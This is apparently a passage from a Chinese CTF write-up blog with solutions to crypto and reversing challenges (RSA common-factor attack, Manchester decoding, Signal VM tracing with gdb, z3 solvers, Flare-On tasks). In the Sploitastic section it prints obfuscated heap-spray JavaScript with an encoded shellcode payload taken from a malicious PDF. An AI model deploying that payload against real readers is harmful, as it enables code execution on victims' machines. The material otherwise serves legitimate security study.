n.append( 23297333791443053297363000786835336095252290818461950054542658327484507406594632785712767459958917943095522594228205423428207345128899745800927319147257669773812669542782839237744305180098276578841929496345963997512244219376701787616046235397139381894837435562662591060768476997333538748065294033141610502252325292801816812268934171361934399951548627267791401089703937389012586581080223313060159456238857080740699528666411303029934807011214953984169785844714159627792016926490955282697877141614638806397689306795328344778478692084754216753425842557818899467945102646776342655167655384224860504086083147841252232760941)
c.append( 5418120301208378713115889465579964257871814114515046096090960159737859076829258516920361577853903925954198406843757303687557848302302200229295916902430205737843601806700738234756698575708612424928480440868739120075888681672062206529156566421276611107802917418993625029690627196813830326369874249777619239603300605876865967515719079797115910578653562787899019310139945904958024882417833736304894765433489476234575356755275147256577387022873348906900149634940747104513850154118106991137072643308620284663108283052245750945228995387803432128842152251549292698947407663643895853432650029352092018372834457054271102816934)

n.append( 28873667904715682722987234293493200306976947898711255064125115933666968678742598858722431426218914462903521596341771131695619382266194233561677824357379805303885993804266436810606263022097900266975250431575654686915049693091467864820512767070713267708993899899011156106766178906700336111712803362113039613548672937053397875663144794018087017731949087794894903737682383916173267421403408140967713071026001874733487295007501068871044649170615709891451856792232315526696220161842742664778581287321318748202431466508948902745314372299799561625186955234673012098210919745879882268512656931714326782335211089576897310591491)
c.append( 9919880463786836684987957979091527477471444996392375244075527841865509160181666543016317634963512437510324198702416322841377489417029572388474450075801462996825244657530286107428186354172836716502817609070590929769261932324275353289939302536440310628698349244872064005700644520223727670950787924296004296883032978941200883362653993351638545860207179022472492671256630427228461852668118035317021428675954874947015197745916918197725121122236369382741533983023462255913924692806249387449016629865823316402366017657844166919846683497851842388058283856219900535567427103603869955066193425501385255322097901531402103883869)

n.append( 22324685947539653722499932469409607533065419157347813961958075689047690465266404384199483683908594787312445528159635527833904475801890381455653807265501217328757871352731293000303438205315816792663917579066674842307743845261771032363928568844669895768092515658328756229245837025261744260614860746997931503548788509983868038349720225305730985576293675269073709022350700836510054067641753713212999954307022524495885583361707378513742162566339010134354907863733205921845038918224463903789841881400814074587261720283879760122070901466517118265422863420376921536734845502100251460872499122236686832189549698020737176683019)
c.append( 1491527050203294989882829248560395184804977277747126143103957219164624187528441047837351263580440686474767380464005540264627910126483129930668344095814547592115061057843470131498075060420395111008619027199037019925701236660166563068245683975787762804359520164701691690916482591026138582705558246869496162759780878437137960823000043988227303003876410503121370163303711603359430764539337597866862508451528158285103251810058741879687875218384160282506172706613359477657215420734816049393339593755489218588796607060261897905233453268671411610631047340459487937479511933450369462213795738933019001471803157607791738538467)

n.append( 27646746423759020111007828653264027999257847645666129907789026054594393648800236117046769112762641778865620892443423100189619327585811384883515424918752749559627553637785037359639801125213256163008431942593727931931898199727552768626775618479833029101249692573716030706695702510982283555740851047022672485743432464647772882314215176114732257497240284164016914018689044557218920300262234652840632406067273375269301008409860193180822366735877288205783314326102263756503786736122321348320031950012144905869556204017430593656052867939493633163499580242224763404338807022510136217187779084917996171602737036564991036724299)
c.append( 21991524128957260536043771284854920393105808126700128222125856775506885721971193109361315961129190814674647136464887087893990660894961612838205086401018885457667488911898654270235561980111174603323721280911197488286585269356849579263043456316319476495888696219344219866516861187654180509247881251251278919346267129904739277386289240394384575124331135655943513831009934023397457082184699737734388823763306805326430395849935770213817533387235486307008892410920611669932693018165569417445885810825749609388627231235840912644654685819620931663346297596334834498661789016450371769203650109994771872404185770230172934013971)

n.append( 20545487405816928731738988374475012686827933709789784391855706835136270270933401203019329136937650878386117187776530639342572123237188053978622697282521473917978282830432161153221216194169879669541998840691383025487220850872075436064308499924958517979727954402965612196081404341651517326364041519250125036424822634354268773895465698920883439222996581226358595873993976604699830613932320720554130011671297944433515047180565484495191003887599891289037982010216357831078328159028953222056918189365840711588671093333013117454034313622855082795813122338562446223041211192277089225078324682108033843023903550172891959673551)
c.append( 14227439188191029461250476692790539654619199888487319429114414557975376308688908028140817157205579804059783807641305577385724758530138514972962209062230576107406142402603484375626077345190883094097636019771377866339531511965136650567412363889183159616188449263752475328663245311059988337996047359263288837436305588848044572937759424466586870280512424336807064729894515840552404756879590698797046333336445465120445087587621743906624279621779634772378802959109714400516183718323267273824736540168545946444437586299214110424738159957388350785999348535171553569373088251552712391288365295267665691357719616011613628772175)

n.append( 27359727711584277234897157724055852794019216845229798938655814269460046384353568138598567755392559653460949444557879120040796798142218939251844762461270251672399546774067275348291003962551964648742053215424620256999345448398805278592777049668281558312871773979931343097806878701114056030041506690476954254006592555275342579529625231194321357904668512121539514880704046969974898412095675082585315458267591016734924646294357666924293908418345508902112711075232047998775303603175363964055048589769318562104883659754974955561725694779754279606726358588862479198815999276839234952142017210593887371950645418417355912567987)
c.append( 3788529784248255027081674540877016372807848222776887920453488878247137930578296797437647922494510483767651150492933356093288965943741570268943861987024276610712717409139946409513963043114463933146088430004237747163422802959250296602570649363016151581364006795894226599584708072582696996740518887606785460775851029814280359385763091078902301957226484620428513604630585131511167015763190591225884202772840456563643159507805711004113901417503751181050823638207803533111429510911616160851391754754434764819568054850823810901159821297849790005646102129354035735350124476838786661542089045509656910348676742844957008857457)

n.append( 27545937603751737248785220891735796468973329738076209144079921449967292572349424539010502287564030116831261268197384650511043068738911429169730640135947800885987171539267214611907687570587001933829208655100828045651391618089603288456570334500533178695238407684702251252671579371018651675054368606282524673369983034682330578308769886456335818733827237294570476853673552685361689144261552895758266522393004116017849397346259119221063821663280935820440671825601452417487330105280889520007917979115568067161590058277418371493228631232457972494285014767469893647892888681433965857496916110704944758070268626897045014782837)
c.append( 14069112970608895732417039977542732665796601893762401500878786871680645798754783315693511261740059725171342404186571066972546332813667711135661176659424619936101038903439144294886379322591635766682645179888058617577572409307484708171144488708410543462972008179994594087473935638026612679389759756811490524127195628741262871304427908481214992471182859308828778119005750928935764927967212343526503410515793717201360360437981322576798056276657140363332700714732224848346808963992302409037706094588964170239521193589470070839790404597252990818583717869140229811712295005710540476356743378906642267045723633874011649259842)

n.append( 25746162075697911560263181791216433062574178572424600336856278176112733054431463253903433128232709054141607100891177804285813783247735063753406524678030561284491481221681954564804141454666928657549670266775659862814924386584148785453647316864935942772919140563506305666207816897601862713092809234429096584753263707828899780979223118181009293655563146526792388913462557306433664296966331469906428665127438829399703002867800269947855869262036714256550075520193125987011945192273531732276641728008406855871598678936585324782438668746810516660152018244253008092470066555687277138937298747951929576231036251316270602513451)
c.append( 17344284860275489477491525819922855326792275128719709401292545608122859829827462088390044612234967551682879954301458425842831995513832410355328065562098763660326163262033200347338773439095709944202252494552172589503915965931524326523663289777583152664722241920800537867331030623906674081852296232306336271542832728410803631170229642717524942332390842467035143631504401140727083270732464237443915263865880580308776111219718961746378842924644142127243573824972533819479079381023103585862099063382129757560124074676150622288706094110075567706403442920696472627797607697962873026112240527498308535903232663939028587036724)

n.append( 23288486934117120315036919418588136227028485494137930196323715336208849327833965693894670567217971727921243839129969128783853015760155446770590696037582684845937132790047363216362087277861336964760890214059732779383020349204803205725870225429985939570141508220041286857810048164696707018663758416807708910671477407366098883430811861933014973409390179948577712579749352299440310543689035651465399867908428885541237776143404376333442949397063249223702355051571790555151203866821867908531733788784978667478707672984539512431549558672467752712004519300318999208102076732501412589104904734983789895358753664077486894529499)
c.append( 10738254418114076548071448844964046468141621740603214384986354189105236977071001429271560636428075970459890958274941762528116445171161040040833357876134689749846940052619392750394683504816081193432350669452446113285638982551762586656329109007214019944975816434827768882704630460001209452239162896576191876324662333153835533956600295255158377025198426950944040643235430211011063586032467724329735785947372051759042138171054165854842472990583800899984893232549092766400510300083585513014171220423103452292891496141806956300396540682381668367564569427813092064053993103537635994311143010708814851867239706492577203899024)

n.append( 19591441383958529435598729113936346657001352578357909347657257239777540424811749817783061233235817916560689138344041497732749011519736303038986277394036718790971374656832741054547056417771501234494768509780369075443550907847298246275717420562375114406055733620258777905222169702036494045086017381084272496162770259955811174440490126514747876661317750649488774992348005044389081101686016446219264069971370646319546429782904810063020324704138495608761532563310699753322444871060383693044481932265801505819646998535192083036872551683405766123968487907648980900712118052346174533513978009131757167547595857552370586353973)
c.append( 3834917098887202931981968704659119341624432294759361919553937551053499607440333234018189141970246302299385742548278589896033282894981200353270637127213483172182529890495903425649116755901631101665876301799865612717750360089085179142750664603454193642053016384714515855868368723508922271767190285521137785688075622832924829248362774476456232826885801046969384519549385428259591566716890844604696258783639390854153039329480726205147199247183621535172450825979047132495439603840806501254997167051142427157381799890725323765558803808030109468048682252028720241357478614704610089120810367192414352034177484688502364022887)

n.append( 19254242571588430171308191757871261075358521158624745702744057556054652332495961196795369630484782930292003238730267396462491733557715379956969694238267908985251699834707734400775311452868924330866502429576951934279223234676654749272932769107390976321208605516299532560054081301829440688796904635446986081691156842271268059970762004259219036753174909942343204432795076377432107630203621754552804124408792358220071862369443201584155711893388877350138023238624566616551246804054720492816226651467017802504094070614892556444425915920269485861799532473383304622064493223627552558344088839860178294589481899206318863310603)
c.append( 6790553533991297205804561991225493105312398825187682250780197510784765226429663284220400480563039341938599783346724051076211265663468643826430109013245014035811178295081939958687087477312867720289964506097819762095244479129359998867671811819738196687884696680463458661374310994610760009474264115750204920875527434486437536623589684519411519100170291423367424938566820315486507444202022408003879118465761273916755290898112991525546114191064022991329724370064632569903856189236177894007766690782630247443895358893983735822824243487181851098787271270256780891094405121947631088729917398317652320497765101790132679171889)

n.append( 26809700251171279102974962949184411136459372267620535198421449833298448092580497485301953796619185339316064387798092220298630428207556482805739803420279056191194360049651767412572609187680508073074653291350998253938793269214230457117194434853888765303403385824786231859450351212449404870776320297419712486574804794325602760347306432927281716160368830187944940128907971027838510079519466846176106565164730963988892400240063089397720414921398936399927948235195085202171264728816184532651138221862240969655185596628285814057082448321749567943946273776184657698104465062749244327092588237927996419620170254423837876806659)
c.append( 386213556608434013769864727123879412041991271528990528548507451210692618986652870424632219424601677524265011043146748309774067894985069288067952546139416819404039688454756044862784630882833496090822568580572859029800646671301748901528132153712913301179254879877441322285914544974519727307311002330350534857867516466612474769753577858660075830592891403551867246057397839688329172530177187042229028685862036140779065771061933528137423019407311473581832405899089709251747002788032002094495379614686544672969073249309703482556386024622814731015767810042969813752548617464974915714425595351940266077021672409858645427346)
# m = 1
# for i in c:
# m*=i
# M = []
# for i in c:
# M.append(m//i)
# Mp = []
# for i in range(len(c)):
# Mp.append(gmpy2.invert(M[i],c[i]))
# x = 0
# for i in range(len(c)):
# x +=Mp[i]*M[i]*n[i]
# x%=m
# print(long_to_bytes(x))
p = 0
q = 0
ind = 0
for i in range(len(n)):
for j in range(len(n)):
if i!=j and gmpy2.gcd(n[i],n[j])!=1:
p = gmpy2.gcd(n[i],n[j])
q = n[i]//p
ind = i
d = gmpy2.invert(e,(p-1)*(q-1))
print(long_to_bytes(gmpy2.powmod(c[ind],d,p*q)))

[crypto][GXYCTF2019]CheckIn

ROT47 编码的ASCII范围是33-126

1
2
3
4
5
6
7
8
9
10
11
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
from z3 import *

f = base64.b64decode(b'dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==')

[crypto]传感器

都传感器了,还曼联,肯定是曼彻斯特编码,我懒了

https://www.xmsec.cc/manchester-encode/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# coding=utf-8

import base64
import os
import gmpy2
import hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
from z3 import *

a = []
s = 0x5555555595555A65556AA696AA6666666955
while not s==0:
b = bin(s&0xf)[2:]
if len(b)<4:
b = (4-len(b))*'0'+b
a.append(b)
s>>=4
a = a[::-1]
print(a)
data = []
su = 0
for i in a:
if i[:2]=='01':
data.append(1)
else:data.append(0)
if i[2:4]=='01':
data.append(1)
else: data.append(0)
print(data)
r = []
for i in range(0,len(data),8):
su=0
for j in range(i,i+8):
su=su+(data[j]<<(j-i))
r.append(su)
res = ''
for i in r:
res+=hex(i)[2:]
print(res)
print(res.upper())

[rev][De1CTF2019]Signal vm

https://blog.bi0s.in/2019/08/08/RE/Linux/de1ctf19-signal-vm/

文件采用了静态编译,经过分析,得到了fork,wait4,ptrace函数

IDA中Shift+F5添加libc签名库

添加ptrace的enum库便于识别ptrace动作,使用M将常数转化为enum表示;ptrace使用PEEK_TEXT时读取的是64位字

程序采用父子进程调试的形式

strace 工具可以打印程序的执行路径

可以使用python+gdb自动化找出指令(需要关闭pwngdb等插件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158

# coding=utf-8

import gdb
import os
import time

gdb.execute('file ./signal_vm')
gdb.execute('set pagination off')
gdb.execute('set follow-fork-mode parent')
gdb.execute('b *0x40147e') # return value of wait
gdb.execute('b *0x400C60') # return value of ptrace
gdb.execute('b *0x40172d')
gdb.execute('b *0x400C40') # get rip at rdx
gdb.execute('r < input')
# time.sleep(3)
gdb.execute('ni')
gdb.execute('c')

exedip = set()

f = open('out.asm','w')
s = None
ip = 0
lastip=0
toDword = lambda x:x[0]|(x[1]<<8)|(x[2]<<16)|(x[3]<<24)
res = [0]*0x300
while True:
op1 = gdb.execute('x/xg $rbp-0x50',to_string=True)
op1 = int(op1.split(':')[1][3:],base=16)

# f.write(op1)
gdb.execute('c')
if (op1&0x7f)!=127:
break
rip = gdb.execute('p/x $rdx',to_string=True)
rip = int(rip.split('= ')[1][2:],base=16)
gdb.execute('c')
op2 = gdb.execute('p/x $rax',to_string=True)
op2 = int(op2.split('= ')[1][2:],base=16)

gdb.execute('c')
opc2 = 0
op2a = []
i=0
lastip=ip
while op2!=0 or i<10:
op2a.append(op2&0xff)
op2>>=8
i+=1
typ = (op1>>8)&0xff
if typ==4:
if op2a[1]==1:
opc2 = toDword(op2a[3:])
ip+=7
else:
opc2=op2a[3]
ip+=4
if op2a[1]==1:
s='mov reg[0x%x],0x%x'%(op2a[2],opc2)
elif op2a[1]==2:
s='mov reg[0x%x],str[reg[0x%x]]'%(op2a[2],opc2)
elif op2a[1]==32:
s='mov str[reg[0x%x]],reg[0x%x]'%(op2a[2],opc2)
elif op2a[1]==0:
s='mov reg[0x%x],reg[0x%x]'%(op2a[2],opc2)
else:
s='mov:unknown:%x'%op2[1]
elif typ==5:
if op2a[1]==1:
opc2 = str(toDword(op2a[3:]))
ip+=7
elif op2a[1]==0:
opc2="reg["+str(op2a[3])+"]"
ip+=4
if op2a[0]==0:
s='add reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==1:
s='sub reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==2:
s='mul reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==3:
s='div reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==4:
s='mod reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==5:
s='or reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==6:
s='and reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==7:
s='xor reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==8:
s='shl reg[0x%x],%s'%(op2a[2],opc2)
elif op2a[0]==9:
s='shr reg[0x%x],%s'%(op2a[2],opc2)
else:
s='unknown:arthimetic:%x'%op2a[0]
elif typ==8:
if op2a[2]==1:
opc2=toDword(op2a[4:])
s='cmp reg[%d],0x%x'%(op2a[3],opc2)
ip+=8
elif op2a[2]==0:
opc2=op2a[4]
s='cmp reg[%d],reg[%d]'%(op2a[3],opc2)
ip+=5
elif typ==11:
if op2a[2]==0:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jmp %03x'%(rip+dif)
elif op2a[2]==1:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jz %03x'%(rip+dif)
elif op2a[2]==2:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jnz %03x'%(rip+dif)
elif op2a[2]==3:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jg %03x'%(rip+dif)
elif op2a[2]==4:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jge %03x'%(rip+dif)
elif op2a[2]==5:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jl %03x'%(rip+dif)
elif op2a[2]==6:
dif = toDword(op2a[3:])
if dif>0x80000000:
dif = dif-0xffffffff
s='jle %03x'%(rip+dif)
else:s='unknown:jmp:%x'%op2a[2]
ip+=7
else:s='unknown type:%x'%typ
if rip not in exedip:
# f.write('%03x:%04x:%s\n'%(rip,op1,s))
res[rip-0x401400]='%03x:%04x:%s\n'%(rip,op1,s)
exedip.add(rip)


for i in res:
if i!=0:
f.write(i)
f.close()
gdb.execute('q')


1
2
gdb -q -p $(pidof signal_vm) -x 2.py
gdb -q -x 2.py

打印出了执行路径,先判断长度是0x46

两个矩阵相乘然后比对数据,希尔加密

本来可以希尔解密的,可是模逆矩阵不好弄,直接z3一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import base64
from z3 import *
import numpy as np

xorData = [65,108,109,111,115,116,32,104,101,97,118,101,110,32,119,101,115,116,32,118,105,114,103,105,110,105,97,44,32,98,108,117,101,32,114,105,100,103,101,32,109,111,117,110,116,97,105,110,115]
target = [214,77,45,133,119,151,96,98,43,136,134,202,114,151,235,137,152,243,120,38,131,41,94,39,67,251,184,23,124,206,58,115,207,251,199,156,96,175,156,200,117,205,55,123,59,155,78,195,218,216,206,113,43,48,104,70,11,255,60,241,241,69,196,208,196,255,81,241,136,81]
key = []
c = []
for i in range(0,len(xorData),7):
key.append(xorData[i:i+7])
for i in range(0,len(target),7):
c.append(target[i:i+7])
v = [BitVec('v%d'%i,8) for i in range(0x46)]
s = Solver()
for i in range(10):
for j in range(7):
ss = 0
for k in range(7):
ss+=v[i*7+k]*key[k][j]
s.add(ss==c[i][j])
flag = ''
if s.check()==sat:
m = s.model()
for i in v:
flag+=chr(m[i].as_long())
print(flag)

[rev][FlareOn2]YUSoMeta

如果使用de4dot去混淆的话会导致调试时候得到错误的东西,大概因为这个程序通过c#的反射机制调用方法的。但是去混淆更方便找到主函数,找到主函数之后在混淆中调试就可以得到flag

[rev][FlareOn2]Snake

反汇编器
https://github.com/nesdoug/NES-DISASSEMBLER

https://onlinedisassembler.com/odaweb/

IDA插件 https://github.com/Jinmo/nesldr-py

模拟器 http://fceux.com/web/home.html

https://www.cnblogs.com/harmonica11/p/13456725.html

  1. 根据RAM Search的值变化情况找到苹果相关值0025
  2. 在0025处下内存断点,找到引用0025的地方
  3. 发现需要吃0x33个苹果,然后0026会被赋值f0
  4. 直接在cheat窗口将0025改为0x33,0026改为f0

[rev][INSHack2017]secure-garden-shed-v2

找协议缺陷,可以发现7是弃用的。打开ida看看,7处有个函数,各种异或还输出。所以直接构造code或者gdb set $eip=指定地址 来调用这个函数。

[rev][NPUCTF2020]EzReverse

迷宫问题,7个元素为一行

起点为(0,0),终点为(6,6),对应的值为偶数则为墙

hjkl 左下又上

[rev][FlareOn1]Sploitastic

一个pdf,使用binwalk解出三个zlib文件,里面是纯文本

看起来像16进制数字,直接解码,解出一个js脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff");
var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=128;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS+ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length<fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY+=OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length-fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while(MOysyGgYplwyZzNdETHwkru.length+fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru+MOysyGgYplwyZzNdETHwkru+UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<100;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=142;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA>=0;--EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length-bGtvKT);
while(QCZabMzxQiD.length+bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD+QCZabMzxQiD+Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA=0;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA<125;EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
1
002050ff40000069000005695050

还有个二进制文件,里面是pdf

上面js文件原来是shellcode,厉害

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <inttypes.h>
